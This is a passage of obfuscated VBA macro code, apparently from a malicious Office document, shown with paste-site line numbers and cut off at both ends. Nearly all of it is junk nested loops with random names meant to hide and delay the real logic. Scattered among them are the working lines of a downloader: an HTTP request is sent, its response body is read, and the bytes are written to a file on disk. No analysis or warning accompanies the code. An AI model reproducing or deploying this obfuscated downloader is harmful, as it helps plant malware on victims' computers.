  1053. DoEvents: ebJJXMCX = ebJJXMCX + 1
  1054. Loop
  1055.  
  1056. Loop
  1057.  
  1058.  
  1059. Dim lFbkNFLj As Integer
  1060. lFbkNFLj = 4
  1061. Do While lFbkNFLj < 72
  1062. DoEvents: lFbkNFLj = lFbkNFLj + 1
  1063. Loop
  1064.  
  1065. TEvjflXn = 4
  1066. Do While TEvjflXn < 47
  1067.  
  1068. Dim ABSzTLMw As Integer
  1069.  
  1070. Dim keMklYbJ As Integer
  1071. keMklYbJ = 1
  1072. Do While keMklYbJ < 51
  1073. DoEvents: keMklYbJ = keMklYbJ + 1
  1074. Loop
  1075.  
  1076. ABSzTLMw = 3
  1077. Do While ABSzTLMw < 69
  1078.  
  1079. Dim eOFbbclg As Integer
  1080. eOFbbclg = 8
  1081. Do While eOFbbclg < 26
  1082. DoEvents: eOFbbclg = eOFbbclg + 1
  1083. Loop
  1084.  
  1085. DoEvents: ABSzTLMw = ABSzTLMw + 1
  1086.  
  1087. Dim PFhxygLS As Integer
  1088. PFhxygLS = 7
  1089. Do While PFhxygLS < 59
  1090. DoEvents: PFhxygLS = PFhxygLS + 1
  1091. Loop
  1092.  
  1093. Loop
  1094.  
  1095.  
  1096. Dim WqCQQqKx As Integer
  1097. WqCQQqKx = 9
  1098. Do While WqCQQqKx < 64
  1099. DoEvents: WqCQQqKx = WqCQQqKx + 1
  1100. Loop
  1101.  
  1102. DoEvents: TEvjflXn = TEvjflXn + 1
  1103.  
  1104. Dim SSlxxmlG As Integer
  1105.  
  1106. Dim lwEztBHS As Integer
  1107. lwEztBHS = 4
  1108. Do While lwEztBHS < 78
  1109. DoEvents: lwEztBHS = lwEztBHS + 1
  1110. Loop
  1111.  
  1112. SSlxxmlG = 7
  1113. Do While SSlxxmlG < 59
  1114.  
  1115. Dim rpRzLfuh As Integer
  1116. rpRzLfuh = 1
  1117. Do While rpRzLfuh < 56
  1118. DoEvents: rpRzLfuh = rpRzLfuh + 1
  1119. Loop
  1120.  
  1121. DoEvents: SSlxxmlG = SSlxxmlG + 1
  1122.  
  1123. Dim XrTzDWhR As Integer
  1124. XrTzDWhR = 7
  1125. Do While XrTzDWhR < 73
  1126. DoEvents: XrTzDWhR = XrTzDWhR + 1
  1127. Loop
  1128.  
  1129. Loop
  1130.  
  1131.  
  1132. Dim tdaWMwtf As Integer
  1133. tdaWMwtf = 8
  1134. Do While tdaWMwtf < 84
  1135. DoEvents: tdaWMwtf = tdaWMwtf + 1
  1136. Loop
  1137.  
  1138. Loop
  1139.  
  1140.  
  1141. Dim ZJkIwcea As Integer
  1142.  
  1143. Dim oDhRyWtF As Integer
  1144. oDhRyWtF = 2
  1145. Do While oDhRyWtF < 99
  1146. DoEvents: oDhRyWtF = oDhRyWtF + 1
  1147. Loop
  1148.  
  1149. ZJkIwcea = 6
  1150. Do While ZJkIwcea < 31
  1151.  
  1152. Dim ojLoRGAp As Integer
  1153. ojLoRGAp = 2
  1154. Do While ojLoRGAp < 95
  1155. DoEvents: ojLoRGAp = ojLoRGAp + 1
  1156. Loop
  1157.  
  1158. DoEvents: ZJkIwcea = ZJkIwcea + 1
  1159.  
  1160. Dim xDKhzeNy As Integer
  1161. xDKhzeNy = 2
  1162. Do While xDKhzeNy < 67
  1163. DoEvents: xDKhzeNy = xDKhzeNy + 1
  1164. Loop
  1165.  
  1166. Loop
  1167.  
  1168.  
  1169. Dim hnTaKYtf As Integer
  1170. hnTaKYtf = 1
  1171. Do While hnTaKYtf < 79
  1172. DoEvents: hnTaKYtf = hnTaKYtf + 1
  1173. Loop
  1174.  
  1175.     XBPRTLRBYRM.Send "?"
  1176.  
  1177.  
  1178. Dim EVmyyrrl As Integer
  1179.  
  1180. Dim kasSXUlv As Integer
  1181.  
  1182. Dim uFbghcrX As Integer
  1183. uFbghcrX = 2
  1184. Do While uFbghcrX < 52
  1185. DoEvents: uFbghcrX = uFbghcrX + 1
  1186. Loop
  1187.  
  1188. kasSXUlv = 4
  1189. Do While kasSXUlv < 46
  1190.  
  1191. Dim DLsVnaDD As Integer
  1192. DLsVnaDD = 8
  1193. Do While DLsVnaDD < 23
  1194. DoEvents: DLsVnaDD = DLsVnaDD + 1
  1195. Loop
  1196.  
  1197. DoEvents: kasSXUlv = kasSXUlv + 1
  1198.  
  1199. Dim rNRSJhjJ As Integer
  1200. rNRSJhjJ = 8
  1201. Do While rNRSJhjJ < 82
  1202. DoEvents: rNRSJhjJ = rNRSJhjJ + 1
  1203. Loop
  1204.  
  1205. Loop
  1206.  
  1207.  
  1208. Dim MGUfalyw As Integer
  1209. MGUfalyw = 9
  1210. Do While MGUfalyw < 69
  1211. DoEvents: MGUfalyw = MGUfalyw + 1
  1212. Loop
  1213.  
  1214. EVmyyrrl = 6
  1215. Do While EVmyyrrl < 32
  1216.  
  1217. Dim huQDvdQW As Integer
  1218.  
  1219. Dim kzevzmCj As Integer
  1220. kzevzmCj = 4
  1221. Do While kzevzmCj < 13
  1222. DoEvents: kzevzmCj = kzevzmCj + 1
  1223. Loop
  1224.  
  1225. huQDvdQW = 1
  1226. Do While huQDvdQW < 13
  1227.  
  1228. Dim koddGVIV As Integer
  1229. koddGVIV = 4
  1230. Do While koddGVIV < 47
  1231. DoEvents: koddGVIV = koddGVIV + 1
  1232. Loop
  1233.  
  1234. DoEvents: huQDvdQW = huQDvdQW + 1
  1235.  
  1236. Dim ABZtChhN As Integer
  1237. ABZtChhN = 6
  1238. Do While ABZtChhN < 94
  1239. DoEvents: ABZtChhN = ABZtChhN + 1
  1240. Loop
  1241.  
  1242. Loop
  1243.  
  1244.  
  1245. Dim BfWwJqMl As Integer
  1246. BfWwJqMl = 1
  1247. Do While BfWwJqMl < 46
  1248. DoEvents: BfWwJqMl = BfWwJqMl + 1
  1249. Loop
  1250.  
  1251. DoEvents: EVmyyrrl = EVmyyrrl + 1
  1252.  
  1253. Dim JebSRFIY As Integer
  1254.  
  1255. Dim QAFMoBpn As Integer
  1256. QAFMoBpn = 5
  1257. Do While QAFMoBpn < 57
  1258. DoEvents: QAFMoBpn = QAFMoBpn + 1
  1259. Loop
  1260.  
  1261. JebSRFIY = 8
  1262. Do While JebSRFIY < 25
  1263.  
  1264. Dim VtuntQwA As Integer
  1265. VtuntQwA = 7
  1266. Do While VtuntQwA < 73
  1267. DoEvents: VtuntQwA = VtuntQwA + 1
  1268. Loop
  1269.  
  1270. DoEvents: JebSRFIY = JebSRFIY + 1
  1271.  
  1272. Dim GrQsThkO As Integer
  1273. GrQsThkO = 5
  1274. Do While GrQsThkO < 91
  1275. DoEvents: GrQsThkO = GrQsThkO + 1
  1276. Loop
  1277.  
  1278. Loop
  1279.  
  1280.  
  1281. Dim nIOuxNTW As Integer
  1282. nIOuxNTW = 3
  1283. Do While nIOuxNTW < 66
  1284. DoEvents: nIOuxNTW = nIOuxNTW + 1
  1285. Loop
  1286.  
  1287. Loop
  1288.  
  1289.  
  1290. Dim zFjlphyi As Integer
  1291.  
  1292. Dim SAcPrebt As Integer
  1293. SAcPrebt = 5
  1294. Do While SAcPrebt < 29
  1295. DoEvents: SAcPrebt = SAcPrebt + 1
  1296. Loop
  1297.  
  1298. zFjlphyi = 1
  1299. Do While zFjlphyi < 42
  1300.  
  1301. Dim pQdhlahR As Integer
  1302. pQdhlahR = 3
  1303. Do While pQdhlahR < 61
  1304. DoEvents: pQdhlahR = pQdhlahR + 1
  1305. Loop
  1306.  
  1307. DoEvents: zFjlphyi = zFjlphyi + 1
  1308.  
  1309. Dim MUTWbIiP As Integer
  1310. MUTWbIiP = 6
  1311. Do While MUTWbIiP < 68
  1312. DoEvents: MUTWbIiP = MUTWbIiP + 1
  1313. Loop
  1314.  
  1315. Loop
  1316.  
  1317.  
  1318. Dim mTthKtjS As Integer
  1319. mTthKtjS = 2
  1320. Do While mTthKtjS < 28
  1321. DoEvents: mTthKtjS = mTthKtjS + 1
  1322. Loop
  1323.  
  1324.     QOSQEZUAJDG = XBPRTLRBYRM.responseBody
  1325.  
  1326.  
  1327. Dim unCXlldF As Integer
  1328.  
  1329. Dim EOpNFpcB As Integer
  1330.  
  1331. Dim yAoALaIj As Integer
  1332. yAoALaIj = 2
  1333. Do While yAoALaIj < 87
  1334. DoEvents: yAoALaIj = yAoALaIj + 1
  1335. Loop
  1336.  
  1337. EOpNFpcB = 3
  1338. Do While EOpNFpcB < 77
  1339.  
  1340. Dim REOyQUft As Integer
  1341. REOyQUft = 6
  1342. Do While REOyQUft < 47
  1343. DoEvents: REOyQUft = REOyQUft + 1
  1344. Loop
  1345.  
  1346. DoEvents: EOpNFpcB = EOpNFpcB + 1
  1347.  
  1348. Dim ipFMqTeF As Integer
  1349. ipFMqTeF = 9
  1350. Do While ipFMqTeF < 32
  1351. DoEvents: ipFMqTeF = ipFMqTeF + 1
  1352. Loop
  1353.  
  1354. Loop
  1355.  
  1356.  
  1357. Dim vCxuSpHC As Integer
  1358. vCxuSpHC = 3
  1359. Do While vCxuSpHC < 84
  1360. DoEvents: vCxuSpHC = vCxuSpHC + 1
  1361. Loop
  1362.  
  1363. unCXlldF = 2
  1364. Do While unCXlldF < 97
  1365.  
  1366. Dim PXEndKoQ As Integer
  1367.  
  1368. Dim MjlsMEuA As Integer
  1369. MjlsMEuA = 9
  1370. Do While MjlsMEuA < 37
  1371. DoEvents: MjlsMEuA = MjlsMEuA + 1
  1372. Loop
  1373.  
  1374. PXEndKoQ = 5
  1375. Do While PXEndKoQ < 89
  1376.  
  1377. Dim aFEVRGUU As Integer
  1378. aFEVRGUU = 1
  1379. Do While aFEVRGUU < 42
  1380. DoEvents: aFEVRGUU = aFEVRGUU + 1
  1381. Loop
  1382.  
  1383. DoEvents: PXEndKoQ = PXEndKoQ + 1
  1384.  
  1385. Dim lQSmwMAl As Integer
  1386. lQSmwMAl = 2
  1387. Do While lQSmwMAl < 29
  1388. DoEvents: lQSmwMAl = lQSmwMAl + 1
  1389. Loop
  1390.  
  1391. Loop
  1392.  
  1393.  
  1394. Dim PIuEKQTv As Integer
  1395. PIuEKQTv = 5
  1396. Do While PIuEKQTv < 58
  1397. DoEvents: PIuEKQTv = PIuEKQTv + 1
  1398. Loop
  1399.  
  1400. DoEvents: unCXlldF = unCXlldF + 1
  1401.  
  1402. Dim LKmsAEjx As Integer
  1403.  
  1404. Dim KmlTURop As Integer
  1405. KmlTURop = 6
  1406. Do While KmlTURop < 94
  1407. DoEvents: KmlTURop = KmlTURop + 1
  1408. Loop
  1409.  
  1410. LKmsAEjx = 9
  1411. Do While LKmsAEjx < 61
  1412.  
  1413. Dim ZtLhLCeP As Integer
  1414. ZtLhLCeP = 3
  1415. Do While ZtLhLCeP < 71
  1416. DoEvents: ZtLhLCeP = ZtLhLCeP + 1
  1417. Loop
  1418.  
  1419. DoEvents: LKmsAEjx = LKmsAEjx + 1
  1420.  
  1421. Dim uYllDCrn As Integer
  1422. uYllDCrn = 2
  1423. Do While uYllDCrn < 98
  1424. DoEvents: uYllDCrn = uYllDCrn + 1
  1425. Loop
  1426.  
  1427. Loop
  1428.  
  1429.  
  1430. Dim HGlzBOQp As Integer
  1431. HGlzBOQp = 8
  1432. Do While HGlzBOQp < 84
  1433. DoEvents: HGlzBOQp = HGlzBOQp + 1
  1434. Loop
  1435.  
  1436. Loop
  1437.  
  1438.  
  1439. Dim RykqeOrN As Integer
  1440.  
  1441. Dim fTkFHzNi As Integer
  1442. fTkFHzNi = 1
  1443. Do While fTkFHzNi < 18
  1444. DoEvents: fTkFHzNi = fTkFHzNi + 1
  1445. Loop
  1446.  
  1447. RykqeOrN = 6
  1448. Do While RykqeOrN < 43
  1449.  
  1450. Dim MWMPdick As Integer
  1451. MWMPdick = 6
  1452. Do While MWMPdick < 61
  1453. DoEvents: MWMPdick = MWMPdick + 1
  1454. Loop
  1455.  
  1456. DoEvents: RykqeOrN = RykqeOrN + 1
  1457.  
  1458. Dim lHaFThhz As Integer
  1459. lHaFThhz = 4
  1460. Do While lHaFThhz < 72
  1461. DoEvents: lHaFThhz = lHaFThhz + 1
  1462. Loop
  1463.  
  1464. Loop
  1465.  
  1466.  
  1467. Dim keLZgydB As Integer
  1468. keLZgydB = 1
  1469. Do While keLZgydB < 51
  1470. DoEvents: keLZgydB = keLZgydB + 1
  1471. Loop
  1472.  
  1473.     PUTVPTITTWC = FreeFile
  1474.  
  1475.     Open RCFFODVWBKD For Binary Access Write As #PUTVPTITTWC
  1476.  
  1477. Dim hEfRxBLA As Integer
  1478.  
  1479. Dim ZwLfeyjA As Integer
  1480.  
  1481. Dim eRhyNXeK As Integer
  1482. eRhyNXeK = 1
  1483. Do While eRhyNXeK < 12
  1484. DoEvents: eRhyNXeK = eRhyNXeK + 1
  1485. Loop
  1486.  
  1487. ZwLfeyjA = 6
  1488. Do While ZwLfeyjA < 98
  1489.  
  1490. Dim wkACVEcT As Integer
  1491. wkACVEcT = 2
  1492. Do While wkACVEcT < 25
  1493. DoEvents: wkACVEcT = wkACVEcT + 1
  1494. Loop
  1495.  
  1496. DoEvents: ZwLfeyjA = ZwLfeyjA + 1
  1497.  
  1498. Dim HaVkQAXy As Integer
  1499. HaVkQAXy = 8
  1500. Do While HaVkQAXy < 24
  1501. DoEvents: HaVkQAXy = HaVkQAXy + 1
  1502. Loop
  1503.  
  1504. Loop
  1505.  
  1506.  
  1507. Dim yksKhnJW As Integer
  1508. yksKhnJW = 2
  1509. Do While yksKhnJW < 57
  1510. DoEvents: yksKhnJW = yksKhnJW + 1
  1511. Loop
  1512.  
  1513. hEfRxBLA = 1
  1514. Do While hEfRxBLA < 79
  1515.  
  1516. Dim cNdQXDYC As Integer
  1517.  
  1518. Dim MkhdpEcU As Integer
  1519. MkhdpEcU = 6
  1520. Do While MkhdpEcU < 14
  1521. DoEvents: MkhdpEcU = MkhdpEcU + 1
  1522. Loop
  1523.  
  1524. cNdQXDYC = 5
  1525. Do While cNdQXDYC < 84
  1526.  
  1527. Dim PmDiYPQH As Integer
  1528. PmDiYPQH = 5
  1529. Do While PmDiYPQH < 84
  1530. DoEvents: PmDiYPQH = PmDiYPQH + 1
  1531. Loop
  1532.  
  1533. DoEvents: cNdQXDYC = cNdQXDYC + 1
  1534.  
  1535. Dim SeshZLmj As Integer
  1536. SeshZLmj = 7
  1537. Do While SeshZLmj < 11
  1538. DoEvents: SeshZLmj = SeshZLmj + 1
  1539. Loop
  1540.  
  1541. Loop
  1542.  
  1543.  
  1544. Dim HKJZIabh As Integer
  1545. HKJZIabh = 8
  1546. Do While HKJZIabh < 61
  1547. DoEvents: HKJZIabh = HKJZIabh + 1
  1548. Loop
  1549.  
  1550. DoEvents: hEfRxBLA = hEfRxBLA + 1
  1551.  
  1552. Dim ZvYhyTzM As Integer
  1553.  
  1554. Dim xztkZnYp As Integer
  1555. xztkZnYp = 5
  1556. Do While xztkZnYp < 84
  1557. DoEvents: xztkZnYp = xztkZnYp + 1
  1558. Loop
  1559.  
  1560. ZvYhyTzM = 3
  1561. Do While ZvYhyTzM < 36
  1562.  
  1563. Dim LyFENSoG As Integer
  1564. LyFENSoG = 9
  1565. Do While LyFENSoG < 35
  1566. DoEvents: LyFENSoG = LyFENSoG + 1
  1567. Loop
  1568.  
  1569. DoEvents: ZvYhyTzM = ZvYhyTzM + 1
  1570.  
  1571. Dim rCznWGOs As Integer
  1572. rCznWGOs = 8
  1573. Do While rCznWGOs < 82
  1574. DoEvents: rCznWGOs = rCznWGOs + 1
  1575. Loop
  1576.  
  1577. Loop
  1578.  
  1579.  
  1580. Dim yUbZQIdi As Integer
  1581. yUbZQIdi = 8
  1582. Do While yUbZQIdi < 88
  1583. DoEvents: yUbZQIdi = yUbZQIdi + 1
  1584. Loop
  1585.  
  1586. Loop
  1587.  
  1588.  
  1589. Dim WdUuJGxL As Integer
  1590.  
  1591. Dim iAFHYMOl As Integer
  1592. iAFHYMOl = 2
  1593. Do While iAFHYMOl < 97
  1594. DoEvents: iAFHYMOl = iAFHYMOl + 1
  1595. Loop
  1596.  
  1597. WdUuJGxL = 7
  1598. Do While WdUuJGxL < 74
  1599.  
  1600. Dim EUllyVPT As Integer
  1601. EUllyVPT = 6
  1602. Do While EUllyVPT < 38
  1603. DoEvents: EUllyVPT = EUllyVPT + 1
  1604. Loop
  1605.  
  1606. DoEvents: WdUuJGxL = WdUuJGxL + 1
  1607.  
  1608. Dim mORAClGw As Integer
  1609. mORAClGw = 2
  1610. Do While mORAClGw < 57
  1611. DoEvents: mORAClGw = mORAClGw + 1
  1612. Loop
  1613.  
  1614. Loop
  1615.  
  1616.  
  1617. Dim sPyqtlvl As Integer
  1618. sPyqtlvl = 9
  1619. Do While sPyqtlvl < 61
  1620. DoEvents: sPyqtlvl = sPyqtlvl + 1
  1621. Loop
  1622.  
  1623.     Put #PUTVPTITTWC, , QOSQEZUAJDG
  1624.  
  1625. Dim HxlpVlnN As Integer
  1626.  
  1627. Dim iINjwbMQ As Integer
  1628.  
  1629. Dim vvfjtxtB As Integer
  1630. vvfjtxtB = 3
  1631. Do While vvfjtxtB < 27
  1632. DoEvents: vvfjtxtB = vvfjtxtB + 1
  1633. Loop
  1634.  
  1635. iINjwbMQ = 9
  1636. Do While iINjwbMQ < 36
  1637.  
  1638. Dim HvqQjbSS As Integer
  1639. HvqQjbSS = 6
  1640. Do While HvqQjbSS < 67
  1641. DoEvents: HvqQjbSS = HvqQjbSS + 1
  1642. Loop
  1643.  
  1644. DoEvents: iINjwbMQ = iINjwbMQ + 1
  1645.  
  1646. Dim vjrCibgl As Integer
  1647. vjrCibgl = 5
  1648. Do While vjrCibgl < 87
  1649. DoEvents: vjrCibgl = vjrCibgl + 1
  1650. Loop
  1651.  
  1652. Loop
  1653.  
  1654.  
  1655. Dim RXnKGvQa As Integer
  1656. RXnKGvQa = 4
  1657. Do While RXnKGvQa < 79
  1658. DoEvents: RXnKGvQa = RXnKGvQa + 1
  1659. Loop
  1660.  
  1661. HxlpVlnN = 8
  1662. Do While HxlpVlnN < 81
  1663.  
  1664. Dim jPsbwVCy As Integer
  1665.  
  1666. Dim YpAmhbKX As Integer
  1667. YpAmhbKX = 4
  1668. Do While YpAmhbKX < 72
  1669. DoEvents: YpAmhbKX = YpAmhbKX + 1
  1670. Loop
  1671.  
  1672. jPsbwVCy = 1
  1673. Do While jPsbwVCy < 47
  1674.  
  1675. Dim sniQGYUC As Integer
  1676. sniQGYUC = 9
  1677. Do While sniQGYUC < 69
  1678. DoEvents: sniQGYUC = sniQGYUC + 1
  1679. Loop
  1680.  
  1681. DoEvents: jPsbwVCy = jPsbwVCy + 1
  1682.  
  1683. Dim mbIDMSsn As Integer
  1684. mbIDMSsn = 9
  1685. Do While mbIDMSsn < 41
  1686. DoEvents: mbIDMSsn = mbIDMSsn + 1
  1687. Loop
  1688.  
  1689. Loop
  1690.  
  1691.  
  1692. Dim ESFXHYvz As Integer
  1693. ESFXHYvz = 3
  1694. Do While ESFXHYvz < 39
  1695. DoEvents: ESFXHYvz = ESFXHYvz + 1
  1696. Loop
  1697.  
  1698. DoEvents: HxlpVlnN = HxlpVlnN + 1
  1699.  
  1700. Dim ruDbQotx As Integer
  1701.  
  1702. Dim GWOBcwzn As Integer
  1703. GWOBcwzn = 8
  1704. Do While GWOBcwzn < 23
  1705. DoEvents: GWOBcwzn = GWOBcwzn + 1
  1706. Loop
  1707.  
  1708. ruDbQotx = 1
  1709. Do While ruDbQotx < 83
  1710.  
  1711. Dim pcHdISpP As Integer
  1712. pcHdISpP = 3
  1713. Do While pcHdISpP < 68
  1714. DoEvents: pcHdISpP = pcHdISpP + 1
  1715. Loop
  1716.  
  1717. DoEvents: ruDbQotx = ruDbQotx + 1
  1718.  
  1719. Dim iPSZALRr As Integer
  1720. iPSZALRr = 9
  1721. Do While iPSZALRr < 98
  1722. DoEvents: iPSZALRr = iPSZALRr + 1
  1723. Loop
  1724.  
  1725. Loop
  1726.  
  1727.  
  1728. Dim GynrhhXi As Integer
  1729. GynrhhXi = 8
  1730. Do While GynrhhXi < 53
  1731. DoEvents: GynrhhXi = GynrhhXi + 1
  1732. Loop
  1733.  
  1734. Loop
  1735.  
  1736.  
  1737. Dim FNjgMtef As Integer
  1738.  
  1739. Dim euyxHayI As Integer
  1740. euyxHayI = 1
  1741. Do While euyxHayI < 83
  1742. DoEvents: euyxHayI = euyxHayI + 1
  1743. Loop
  1744.  
  1745. FNjgMtef = 8
  1746. Do While FNjgMtef < 86
  1747.  
  1748. Dim rJAZmRAB As Integer
  1749. rJAZmRAB = 2
  1750. Do While rJAZmRAB < 14
  1751. DoEvents: rJAZmRAB = rJAZmRAB + 1
  1752. Loop
  1753.  
  1754. DoEvents: FNjgMtef = FNjgMtef + 1
  1755.  
  1756. Dim XGpaTzLX As Integer
  1757. XGpaTzLX = 9
  1758. Do While XGpaTzLX < 32
  1759. DoEvents: XGpaTzLX = XGpaTzLX + 1
  1760. Loop
  1761.  
  1762. Loop
  1763.  
  1764.  
  1765. Dim LkmJLrsn As Integer
  1766. LkmJLrsn = 9
  1767. Do While LkmJLrsn < 37
  1768. DoEvents: LkmJLrsn = LkmJLrsn + 1
  1769. Loop
  1770.  
  1771.     Close #PUTVPTITTWC
  1772.  
  1773. Dim JcsJjbFl As Integer
  1774.  
  1775. Dim vBqocbcl As Integer
  1776.  
  1777. Dim usQNrxqh As Integer
  1778. usQNrxqh = 9
  1779. Do While usQNrxqh < 94
  1780. DoEvents: usQNrxqh = usQNrxqh + 1
  1781. Loop
  1782.  
  1783. vBqocbcl = 5
  1784. Do While vBqocbcl < 84
  1785.  
  1786. Dim BklVgxhS As Integer
  1787. BklVgxhS = 1
  1788. Do While BklVgxhS < 75
  1789. DoEvents: BklVgxhS = BklVgxhS + 1
  1790. Loop
  1791.  
  1792. DoEvents: vBqocbcl = vBqocbcl + 1
  1793.  
  1794. Dim SKbRxLlA As Integer
  1795. SKbRxLlA = 5
  1796. Do While SKbRxLlA < 88
  1797. DoEvents: SKbRxLlA = SKbRxLlA + 1
  1798. Loop
  1799.  
  1800. Loop
  1801.  
  1802.  
  1803. Dim oscApaJl As Integer
  1804. oscApaJl = 9
  1805. Do While oscApaJl < 32
  1806. DoEvents: oscApaJl = oscApaJl + 1
  1807. Loop
  1808.  
  1809. JcsJjbFl = 8
  1810. Do While JcsJjbFl < 28
  1811.  
  1812. Dim FpsicLkO As Integer
  1813.  
  1814. Dim MYZxNtzm As Integer
  1815. MYZxNtzm = 9
  1816. Do While MYZxNtzm < 31
  1817. DoEvents: MYZxNtzm = MYZxNtzm + 1
  1818. Loop
  1819.  
  1820. FpsicLkO = 8
  1821. Do While FpsicLkO < 26
  1822.  
  1823. Dim lTpYzoju As Integer
  1824. lTpYzoju = 4
  1825. Do While lTpYzoju < 71
  1826. DoEvents: lTpYzoju = lTpYzoju + 1
  1827. Loop
  1828.  
  1829. DoEvents: FpsicLkO = FpsicLkO + 1
  1830.  
  1831. Dim nMxFVyqk As Integer
  1832. nMxFVyqk = 3
  1833. Do While nMxFVyqk < 31
  1834. DoEvents: nMxFVyqk = nMxFVyqk + 1
  1835. Loop
  1836.  
  1837. Loop
  1838.  
  1839.  
  1840. Dim gWkaqvVn As Integer
  1841. gWkaqvVn = 1
  1842. Do While gWkaqvVn < 11
  1843. DoEvents: gWkaqvVn = gWkaqvVn + 1
  1844. Loop
  1845.  
  1846. DoEvents: JcsJjbFl = JcsJjbFl + 1
  1847.  
  1848. Dim vaVqnBiS As Integer
  1849.  
  1850. Dim aYxzsiIq As Integer
  1851. aYxzsiIq = 8
  1852. Do While aYxzsiIq < 26
  1853. DoEvents: aYxzsiIq = aYxzsiIq + 1
  1854. Loop
  1855.  
  1856. vaVqnBiS = 3
  1857. Do While vaVqnBiS < 32
  1858.  
  1859. Dim zwxLwOKm As Integer
  1860. zwxLwOKm = 8
  1861. Do While zwxLwOKm < 24
  1862. DoEvents: zwxLwOKm = zwxLwOKm + 1
  1863. Loop
  1864.  
  1865. DoEvents: vaVqnBiS = vaVqnBiS + 1
  1866.  
  1867. Dim EfUuWsad As Integer
  1868. EfUuWsad = 6
  1869. Do While EfUuWsad < 35
  1870. DoEvents: EfUuWsad = EfUuWsad + 1
  1871. Loop
  1872.  
  1873. Loop
  1874.  
  1875.  
  1876. Dim LtWagePL As Integer
  1877. LtWagePL = 9
  1878. Do While LtWagePL < 63
  1879. DoEvents: LtWagePL = LtWagePL + 1
  1880. Loop
  1881.  
  1882. Loop
  1883.  
  1884.  
  1885. Dim fdvqLPbf As Integer
  1886.  
  1887. Dim lfTlWdah As Integer
  1888. lfTlWdah = 2
  1889. Do While lfTlWdah < 25
  1890. DoEvents: lfTlWdah = lfTlWdah + 1
  1891. Loop
  1892.  
  1893. fdvqLPbf = 1
  1894. Do While fdvqLPbf < 14
  1895.  
  1896. Dim XNzaBXpC As Integer
  1897. XNzaBXpC = 7
  1898. Do While XNzaBXpC < 72
  1899. DoEvents: XNzaBXpC = XNzaBXpC + 1
  1900. Loop
  1901.  
  1902. DoEvents: fdvqLPbf = fdvqLPbf + 1
  1903.  
  1904. Dim FVOEVtmg As Integer
  1905. FVOEVtmg = 8
  1906. Do While FVOEVtmg < 24
  1907. DoEvents: FVOEVtmg = FVOEVtmg + 1
  1908. Loop
  1909.  
  1910. Loop
  1911.  
  1912.  
  1913. Dim JPSRfzXY As Integer
  1914. JPSRfzXY = 8
  1915. Do While JPSRfzXY < 21
  1916. DoEvents: JPSRfzXY = JPSRfzXY + 1
  1917. Loop
  1918.  
  1919.    
  1920.  
  1921. End Function
  1922. Sub fdvdfvfd()
  1923.  
  1924. Dim Hvtlwyey As Integer
  1925.  
  1926. Dim yyPtIiFT As Integer
  1927.  
  1928. Dim HnXiseyg As Integer
  1929. HnXiseyg = 6
  1930. Do While HnXiseyg < 29
  1931. DoEvents: HnXiseyg = HnXiseyg + 1
  1932. Loop
  1933.  
  1934. yyPtIiFT = 2
  1935. Do While yyPtIiFT < 83
  1936.  
  1937. Dim blTpXROu As Integer
  1938. blTpXROu = 5
  1939. Do While blTpXROu < 88
  1940. DoEvents: blTpXROu = blTpXROu + 1
  1941. Loop
  1942.  
  1943. DoEvents: yyPtIiFT = yyPtIiFT + 1
  1944.  
  1945. Dim AFXGkQia As Integer
  1946. AFXGkQia = 3
  1947. Do While AFXGkQia < 39
  1948. DoEvents: AFXGkQia = AFXGkQia + 1
  1949. Loop
  1950.  
  1951. Loop
  1952.  
  1953.  
  1954. Dim TgoExyWN As Integer
  1955. TgoExyWN = 4
  1956. Do While TgoExyWN < 45
  1957. DoEvents: TgoExyWN = TgoExyWN + 1
  1958. Loop
  1959.  
  1960. Hvtlwyey = 8
  1961. Do While Hvtlwyey < 28
  1962.  
  1963. Dim jMoqRbmF As Integer
  1964.  
  1965. Dim lKCBtxru As Integer
  1966. lKCBtxru = 2
  1967. Do While lKCBtxru < 21
  1968. DoEvents: lKCBtxru = lKCBtxru + 1
  1969. Loop
  1970.  
  1971. jMoqRbmF = 4
  1972. Do While jMoqRbmF < 45
  1973.  
  1974. Dim SgVMbzVc As Integer
  1975. SgVMbzVc = 7
  1976. Do While SgVMbzVc < 55
  1977. DoEvents: SgVMbzVc = SgVMbzVc + 1
  1978. Loop
  1979.  
  1980. DoEvents: jMoqRbmF = jMoqRbmF + 1
  1981.  
  1982. Dim IPsRJAWl As Integer
  1983. IPsRJAWl = 4
  1984. Do While IPsRJAWl < 87
  1985. DoEvents: IPsRJAWl = IPsRJAWl + 1
  1986. Loop
  1987.  
  1988. Loop
  1989.  
  1990.  
  1991. Dim HXlONQfv As Integer
  1992. HXlONQfv = 6
  1993. Do While HXlONQfv < 99
  1994. DoEvents: HXlONQfv = HXlONQfv + 1
  1995. Loop
  1996.  
  1997. DoEvents: Hvtlwyey = Hvtlwyey + 1
  1998.  
  1999. Dim WglxERXO As Integer
  2000.  
  2001. Dim ZicrJdQN As Integer
  2002. ZicrJdQN = 6
  2003. Do While ZicrJdQN < 67
  2004. DoEvents: ZicrJdQN = ZicrJdQN + 1
  2005. Loop
  2006.  
  2007. WglxERXO = 9
  2008. Do While WglxERXO < 37
  2009.  
  2010. Dim gLUTadLy As Integer
  2011. gLUTadLy = 1
  2012. Do While gLUTadLy < 11
  2013. DoEvents: gLUTadLy = gLUTadLy + 1
  2014. Loop
  2015.  
  2016. DoEvents: WglxERXO = WglxERXO + 1
  2017.  
  2018. Dim SiHtZPwP As Integer
  2019. SiHtZPwP = 7
  2020. Do While SiHtZPwP < 25
  2021. DoEvents: SiHtZPwP = SiHtZPwP + 1
  2022. Loop
  2023.  
  2024. Loop
  2025.  
  2026.  
  2027. Dim PClEJDEj As Integer
  2028. PClEJDEj = 7
  2029. Do While PClEJDEj < 14
  2030. DoEvents: PClEJDEj = PClEJDEj + 1
  2031. Loop
  2032.  
  2033. Loop
  2034.  
  2035.  
  2036. Dim AYHOeZKb As Integer
  2037.  
  2038. Dim ybkSWSCd As Integer
  2039. ybkSWSCd = 8
  2040. Do While ybkSWSCd < 35
  2041. DoEvents: ybkSWSCd = ybkSWSCd + 1
  2042. Loop
  2043.  
  2044. AYHOeZKb = 5
  2045. Do While AYHOeZKb < 91
  2046.  
  2047. Dim NJkHZjDr As Integer
  2048. NJkHZjDr = 7
  2049. Do While NJkHZjDr < 28
  2050. DoEvents: NJkHZjDr = NJkHZjDr + 1
  2051. Loop
  2052.  
  2053. DoEvents: AYHOeZKb = AYHOeZKb + 1
  2054.  
  2055. Dim hWyxHtYW As Integer
  2056. hWyxHtYW = 4
  2057. Do While hWyxHtYW < 11
  2058. DoEvents: hWyxHtYW = hWyxHtYW + 1
  2059. Loop
  2060.  
  2061. Loop
  2062.  
  2063.  
  2064. Dim MIhmfDPv As Integer
  2065. MIhmfDPv = 9
